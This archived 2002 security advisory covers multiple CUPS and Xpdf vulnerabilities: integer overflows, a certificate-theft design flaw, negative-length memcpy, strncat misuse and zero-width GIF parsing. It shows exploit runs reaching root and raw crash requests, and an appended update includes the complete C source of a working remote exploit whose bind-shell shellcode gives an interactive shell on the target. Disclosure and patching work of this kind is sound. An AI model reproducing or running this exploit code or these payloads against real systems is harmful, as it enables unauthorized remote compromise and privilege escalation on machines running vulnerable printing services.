20th Dec 2002 [SBWID-5893]
COMMAND
Multiple Security Vulnerabilities in Common Unix Printing System (CUPS)
SYSTEMS AFFECTED
Tested : CUPS-1.1.14-5 - 1.1.17
The following major vendors are known to distribute CUPS by default; in
some cases, it is the default printing implementation used as well:
Apple Computer Inc.
Debian Project
FreeBSD Project
MandrakeSoft Inc.
NetBSD Foundation
Red Hat Inc.
Slackware Linux Inc.
SuSE Inc.
The SCO Group
Turbolinux Inc.
Also, CUPS with Xpdf (Xpdf 2.01) and all prior versions.
Verified on Red Hat Linux 7.0 running CUPS-1.1.14-5 (RPM)
PROBLEM
zen-parse [zen-parse@gmx.net] discovered the following issues,
published in iDEFENSE Security Advisory [12.19.02] :
http://www.idefense.com/advisory/12.19.02.txt
**** ISSUE 1 - Multiple Integer Overflows ****
An integer overflow exists in the CUPSd http interface. Exploitation
allows an attacker to gain the permissions of the 'lp' user id and the
'sys' group id. The offending lines of code can be found in
cgi-bin/var.c:
var = form_vars + form_count;
var->name = strdup(name);
var->nvalues = element + 1;
var->avalues = element + 1;
var->values = calloc(element + 1, sizeof(char *));
var->values[element] = strdup(value);
Since an attacker has control over both element and value, he or she
can overwrite the address of a soon-to-be called function with the
address of arbitrary code. The following is a successful run of the
vanilla-coke exploit ran against test platform [1] built against
glibc-2.2.4-18.7.0.8:
$ ./vanilla-coke
$ ls -l /tmp/suid
- - - - -rwsrwsr-x 1 lp sys 14093 Dec 4 07:50 /tmp/suid
$ /tmp/suid
sh-2.04$ id
uid=4(lp) gid=3(sys) groups=500(farmer)
The exploit created a set user id 'lp' shell. While the current exploit
works only against systems utilizing glibc-2.2.4-18.7.0.8, it is
possible to make modifications that will make it effective against
earlier glibc versions. The vulnerable code also exists in the latest
version of CUPS (test platform [3]) and appears to be exploitable with
slight modifications.
Multiple integer overflows also exist in the image handling code of the
filters in CUPS. The following is a successful run of the mksun exploit
tested against platform [1]:
$ ls -al /tmp/resulted
/bin/ls: /tmp/resulted: No such file or directory
$ ./mksun | lp
request id is lp-100 (1 file(s))
$ cat /tmp/resulted
Ok.
uid=4(lp) gid=3(sys)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),40(dip)
This vulnerability still exists in the latest version of CUPS (test
platform [3]) slight modification of the exploit code is required.
**** ISSUE 2 - /etc/cups/certs/ Race Condition ****
A race condition exists in the creation of /etc/cups/certs/<pid>.
This allows a local attacker to create or overwrite any file as root. A
prerequisite to launching this attack is 'lp' user privileges, which
can be gained through successful exploitation of ISSUE 1 (see above).
The following is a successful run of the ice-cream exploit tested
against platforms [1], [2], and [3]:
sh-2.04$ /tmp/ice-cream
Waiting for creation event.
Trying 127.0.0.1...
Connected to redhat7.0 (127.0.0.1).
Escape character is '^]'.
HTTP/1.1 200 OK
Date: Wed, 04 Dec 2002 12:37:21 GMT
Server: CUPS/1.1
...
...
Connection closed by foreign host. Hit it. exec some suid with the lib
preloading and then remove /etc/ld.so.preload-type-file to put things
roughly the way they were.
sh-2.04$ ls -l /etc/ld.so.preload-type-file
- - - - -rw-rw-rw- 1 lp sys 20 Dec 4 07:37 /etc/ld.so.preload-type-file
The sample exploit created /etc/ld.so.preload-type-file. An easy
modification can generate /etc/ld.so.preload, which can then be used to
gain root privileges by redefining functions such as getuid() as a
simple "return 0".
**** ISSUE 3 - Adding Printers with UDP Packets/ Root Certificate Design
Flaw ****
Printers can remotely be added to CUPS by sending a specially crafted
UDP packet. The ability to remotely add printers is used in ISSUE 3 as
well as in the exploitation of other subsequent vulnerabilities within
this advisory (see below). The added printer can contain a tainted name
that when clicked on or referenced through other means (image request,
etc.) can exploit ISSUE 1. The exploit does not have to be locally
launched being the shellcode can be modified to connect back to a
system controlled by the attacker.
The following is a successful run of the new-coke exploit tested
against platforms [1] and [2]:
$ ./new-coke 127.0.0.1
Argv[1]=127.0.0.1
punt!
Checking the web interface to CUPS after running this exploit shows the
added printer. The only way to edit or remove this printer through the
web interface is to click on it, which will in turn exploit the
vulnerability.
A consequence of exploiting this vulnerability is that a local attacker
can exploit a design flaw to gain root privileges. A printer is first
added and configured to run on a high numbered port. It is then told to
return a "need authorization" page. The http backend will then
authorize with the current local root certificate, as this is the same
certificate that is needed to access the administrative section of the
web server. Once the certificate has been obtained, it is possible to
add a printer that will execute commands with root privileges.
The following is a successful run of the pardonme exploit script tested
against platform [1]:
$ ./pardonme.sh
Proof of concept - stealing certificate 0 from CUPS
=================================================== Allows access to
/admin/ area which we use to execute code as root.
- - - - - creating tmp printer to steal key from
- - - - - telling it we want the key.
- - - - - listening for key.
- - - - - attempting to create rootshell printer
- - - - - calling /tmp/doitnow
request id is givemeroot-4 (1 file(s))
- - - - - removing tmp printer "hackyou"
- - - - - removing root shell printer "givemeroot" - check /tmp/resulted
- - - - - done
=== contents of file ===
uid=0(root) gid=0(root)
Thu Dec 5 02:19:13 GMT 2002
=== contents of file ===
**** ISSUE 4 - Negative Length Memcpy() Calls ****
Negative length memcpy() calls can lead to a denial of service (DoS)
and, on some platforms, remote root compromise. The following examples
demonstrate these vulnerabilities:
$ nc -v localhost 631
localhost [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
Host: localhost
Authorization: Basic AAA
Content-Length: -1
$ nc -v localhost 631
localhost [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
Host: localhost
Authorization: Basic AAA
Transfer-Encoding: chunked
- - - - -FFFFFFFE
Both requests will crash the CUPS daemon. This issue is similar to the
Apache HTTP Server chunking bug that is exploitable on OpenBSD,
FreeBSD, and NetBSD due to their implementations of memcpy(). Platforms
[1], [2] and [3] are all susceptible to this vulnerability.
**** ISSUE 5 - Unsafe Strncat Function Call in jobs.c ****
jobs.c insecurely uses the strncat function call in the setup of the
'options' string. As such, it is possible to exploit this in
conjunction with the vulnerability described in ISSUE 3 to obtain local
root privileges. To exploit the vulnerability, a printer is created. A
job is then sent to the printer with attributes set in such a fashion
as to overflow the options buffer and overwrite the return address of
the frame. Shellcode is then executed. It calls an external program,
/tmp/doitnow, which will be executed with root privileges. In the
process, two files are created that, unless removed, should prevent
CUPS from starting:
/var/spool/cups/d00*-0*
/var/spool/cups/c00*
The following is a succesful run of the tosend script that utilizes the
lift exploit. It has been tested against platform [1]:
$ ./tosend.sh
* local root
* cupsd incorrect usage of strncat in jobs.c
* ========================================== * proof of concept. appends
output from "id" and "date" to
to /tmp/resulted
[+] checking stuff
* Checking for cupsd file
* Checking cupsd is running
* checking for /sbin/pidof
+ ok!
* finding pid of process
13427
+ ok!
* Checking for make
/usr/bin/make
* Checking for nc
/usr/bin/nc
[+] Building stuff
* Making lift
make: `lift' is up to date.
* firing message (needs netcat (nc) to be in your path)
punt!
[+] About to check /tmp/resulted
- - - - - time is now Wed Dec 4 14:27:16 EST 2002
- - - - - current uid == 500
- - - - - current gid == 500
The /tmp/doitnow script, in this case, simply contains the command "id
> /tmp/didit.txt". The tosend script has successfully used the lift
exploit, and the didit.txt file has been created, which, as can be seen
from the contents, was executed with root privileges:
# cat /tmp/didit.txt
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
The exploit is not effective against later versions of CUPS since the
strncat() calls have been replaced with calls to strlcat().
**** ISSUE 6 - Zero Width Images in filters/image-gif.c ****
CUPS improperly check for zero width images in filters/image-gif.c as
can be seen from the following offending code:
...
bpp = ImageGetDepth(img);
pixels = calloc(bpp, img->xsize);
...
xpos ++;
temp += bpp;
if (xpos == img->xsize)
{
ImagePutRow(img, 0, ypos, img->xsize, pixels); ...
The check for reaching the line width is not performed until after the
increment, therefore allowing an attacker to manipulate the chunk
headers and execute arbitrary code.
The following is a successful run of the nogif exploit tested against
platform [1]:
$ ./nogif
zero width gif exploit for cups "imageto*" filters
imagetops filter example.
============================
ppmtogif: computing other colormap...
ppmtogif: 256 colors found
ppmtogif: sorting colormap
Moving img1.gif to /var/tmp
Now make and run ./wrap to emulate printing this job.
$ ./wrap
INFO: lp 7 root img1.gif 1 /var/tmp//////////img1.gif
DEBUG: Page = 612x792; 18,36 to 594,756
DEBUG: ImageOpen("/var/tmp//////////img1.gif", 1, 1, 100, 0, (nil))
Successful exploitation should execute the file /tmp/sh. This
vulnerability still exists in the latest version of CUPS (test platform
[3]). Slight modification of the exploit code is required, however.
**** ISSUE 7 - File Descriptor Resource Leaks ****
Return values of many file and socket operations are not checked,
therefore leading to file descriptor leaks. Attackers can launch a DoS
attack against a system running CUPS. The following is a successful run
of the fanta exploit tested against platform [1]:
$ ./fanta
The error below doesn't appear to show up, and the process hangs at
around 300-400 somewhere sometimes.
Problem in cups is caused by file descriptor leaks, and failing to
check return values for file operations in many areas.
0 sent
100 sent
200 sent
[1] - Red Hat Linux 7.0 running CUPS-1.1.14-5 (RPM)
[2] - Red Hat Linux 7.3 running CUPS-1.1.14-15 (RPM)
[3] - Red Hat Linux 7.3 running CUPS-1.1.17 (Source Install)
Update (24 December 2002)
======
iDEFENSE Security adds in advisory [12.23.02]
http://www.idefense.com/advisory/12.23.02.txt
Thanks to zen-parse [zen-parse@gmx.net] work :
--snip--
The pdftops filter in the Xpdf and CUPS packages contains an integer
overflow that can be exploited to gain the privileges of the target
user or in some cases the increased privileges of the 'lp' user if
installed setuid. There are multiple ways of exploiting this
vulnerability. The following is just one example:
A ColorSpace with 1,431,655,768 elements is created, each element
having three components. 1,431,655,768 is too large to store within a
32-bit integer so the high bit is cut off leaving only 8 which is how
much that is actually allocated.
...
/CS
[
/Indexed
/RGB
1431655768
7 0 R
]
...
The '7 0 R' from above refers to a stream that is read into an array
that is allocated as above. The stream is read until it has reached the
highest index number, or the stream ends. If the filter supplies enough
data the application will crash when trying to access bad memory. It is
possible to exploit this condition by supplying the right length of bad
memory, and stop the stream breaking the reading. A function pointer
can then be overwritten to execute arbitrary code. Example:
...
7 0 obj <<
/Length 229
>>
stream
content to write into memory....endstream
endobject
...
The following is a sample run of the cups-pdf exploit running with the
user's privileges:
$ ./cups-pdf | lp
request id is lp-108 (1 file(s))
$ ls -l /tmp/pdfexploit-worked
- - -rw-rw-r-- 1 farmer farmer 0 Dec 4 13:41 /tmp/pdfexploit-worked
ANALYSIS
========
This vulnerability is locally exploitable. In order to perform "remote"
exploitation, an attacker must trick a user into printing a malformed
PDF file from the command line. In the implementation cases where "lp"
user privileges are attainable, more advanced attacks can be performed
to gain local root access (see iDEFENSE Advisory 12.19.02).
--snap--
Update (06 January 2002)
======
/*
* by sigdoom [at] bigbox.mine.nu
*
* CUPS remote exploit. Exploits integer overflow and gives you shell with
* daemons priviledges (usualy lp), after that you can try to use local
* CUPS exploit to get root.
*
* 1.1.17 and earlier versions are affected. Tested on gentoo with
* installed cups-1.1.17_pre20021025:
*
* $ gcc -o sigcups sigcups.c && ./sigcups -t 127.0.0.1
* [*] connecting to 127.0.0.1 port 631
* [*] trying retaddr = 0x2fffbed8; *4 = 0xbffefb60
* [*] connected, sending exploit...
* [*] done... let's see if we have a shell...
* [*] w000t, here's a shell kiddie...
* uid=4(lp) gid=7(lp) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
* Linux fox.chroot.lt 2.4.20 #2 Sun Dec 29 18:30:35 EET 2002 i686 Pentium III (Coppermine) GenuineIntel GNU/Linux
*
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <getopt.h>
#define BUF_SIZE 4096
#define die(a) { perror("[!] "a); exit(-1); }
int verbose = 0;
char *host = "127.0.0.1";
int port = 631;
unsigned long retaddr = 805289688; /* exploit: *($retaddr * 4) = $address_of_shellcode */
char greet[] = "POST /jobs HTTP/1.1\nContent-type: application/x-www-form-urlencoded\nContent-length: %d\n\n";
char evilmsg[] = "-%u=";
/*
* Bind shell hack by s0t4ipv6@shellcode.com.ar
*/
char hellcode[]=
"\x31\xc0\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d"
"\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45\x16"
"\x13\xd2\x31\xd2\x89\x55\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10"
"\xb0\x66\xcd\x80\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45"
"\x0c\x89\x45\x10\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41"
"\x80\xf9\x03\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
void usage(char *p) {
printf(
"Remote CUPS exploit for 1.1.17 and earlier versions\n"
"by sigdoom [at] bigbox.mine.nu\n"
"Usage: %s [-t <target>, -p <port>, -o <offset>, -r <retaddr>]\n"
"\t-t <target> - IP of target\n"
"\t-p <port> - port where cupsd runs\n"
"\t-o <offset> - offset for retaddr ($retaddr + $offset)\n"
"\t-r <retaddr> - give exact retaddr\n", p);
exit(0);
}
int main(int argc, char *argv[]) {
struct sockaddr_in dest;
int i, off, sock;
fd_set rset;
char buf[BUF_SIZE], buf2[BUF_SIZE];
char c;
while ((c = getopt(argc, argv, "ho:p:r:t:v")) > 0 ){
switch (c) {
case 't':
host = (char *)optarg;
break;
case 'o':
retaddr += atol(optarg);
break;
case 'r':
retaddr = atol(optarg);
break;
case 'p':
port = atoi(optarg);
break;
case 'v':
verbose++;
break;
case 'h':
usage(argv[0]);
case '?':
case ':':
exit(-1);
}
}
printf("[*] connecting to %s port %d\n", host, port);
printf("[*] trying retaddr = 0x%x; *4 = 0x%x\n", retaddr, retaddr*4);
if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
die("socket()");
dest.sin_family = AF_INET;
dest.sin_port = htons(port);
dest.sin_addr.s_addr = inet_addr(host);
bzero(&(dest.sin_zero), 8);
if (connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) < 0)
die("connect()");
printf("[*] connected, sending exploit...\n");
off = sprintf(buf, evilmsg, retaddr);
for (i = 0; i < sizeof(hellcode)-1; i++)
sprintf(buf+off+i*3, "%%%02X", (unsigned char)hellcode[i]);
sprintf(buf2, greet, strlen(buf));
if (verbose) {
printf("%s", buf2);
printf("%s\n", buf);
}
write(sock, buf2, strlen(buf2));
write(sock, buf, strlen(buf));
printf("[*] done... let's see if we have a shell...\n");
close(sock);
if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
die("socket()");
dest.sin_family = AF_INET;
dest.sin_port = htons(5074);
dest.sin_addr.s_addr = inet_addr(host);
bzero(&(dest.sin_zero), 8);
system("sleep 2");
if (connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) < 0) {
printf("[-] better luck next time! try different offsets maybe.\n");
die("connect()");
}
printf("[*] w000t, here's a shell kiddie...\n");
write(sock, "id;uname -a\n", 12);
while (1) {
FD_ZERO(&rset);
FD_SET(sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(sock + 1, &rset, NULL, NULL, NULL);
if (FD_ISSET(sock, &rset)) {
i = read(sock, buf, BUF_SIZE - 1);
if (i <= 0) {
printf("[!] Connection closed.\n");
close(sock);
exit(0);
}
buf[i] = 0;
printf("%s", buf);
}
if (FD_ISSET(STDIN_FILENO, &rset)) {
i = read(STDIN_FILENO, buf, BUF_SIZE - 1);
if (i > 0) {
buf[i]=0;
write(sock, buf, i);
}
}
}
return 0;
}
SOLUTION
Michael Sweet [mike@easysw.com] of Easy Software Products said CUPS
1.1.18 will be released December 19, 2002 which addresses all of these
issues
http://www.cups.org
Mark J Cox (mjc@redhat.com) of Red Hat said the following:
"Red Hat Linux 7.3 and 8.0 ship with CUPS, however it is not enabled by
default. We are currently working on producing erratum packages. When
complete, these will be available along with our advisory. At the same
time, users of the Red Hat Network will be able to update their systems
using the 'up2date' tool."
Richard Blanchard (rblanchard@apple.com) of Apple said the following:
"Affected Systems:
Mac OS X 10.2 - Mac OS X 10.2.2
Mac OS X Server 10.2 - Mac OS X Server 10.2.2
Mitigating Factors: The described vulnerability can be remotely
exploited only when Printer Sharing is enabled. Printer Sharing is not
enabled by default on Mac OS X or Mac OS X Server.
Fixed in: Mac OS X 10.2.3 and Mac OS X Server 10.2.3"
Update (24 December 2002)
======
A patch supplied by the author of Xpdf is available from
ftp://ftp.foolabs.com/pub/xpdf/xpdf-2.01-patch1
which fixes this issue in pdftops when applied to the latest source
code version, 2.01. Additionally, the latest version of CUPS, 1.1.18,
should also fix this issue within the included pdftops utility. It is
available from
http://www.cups.org
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH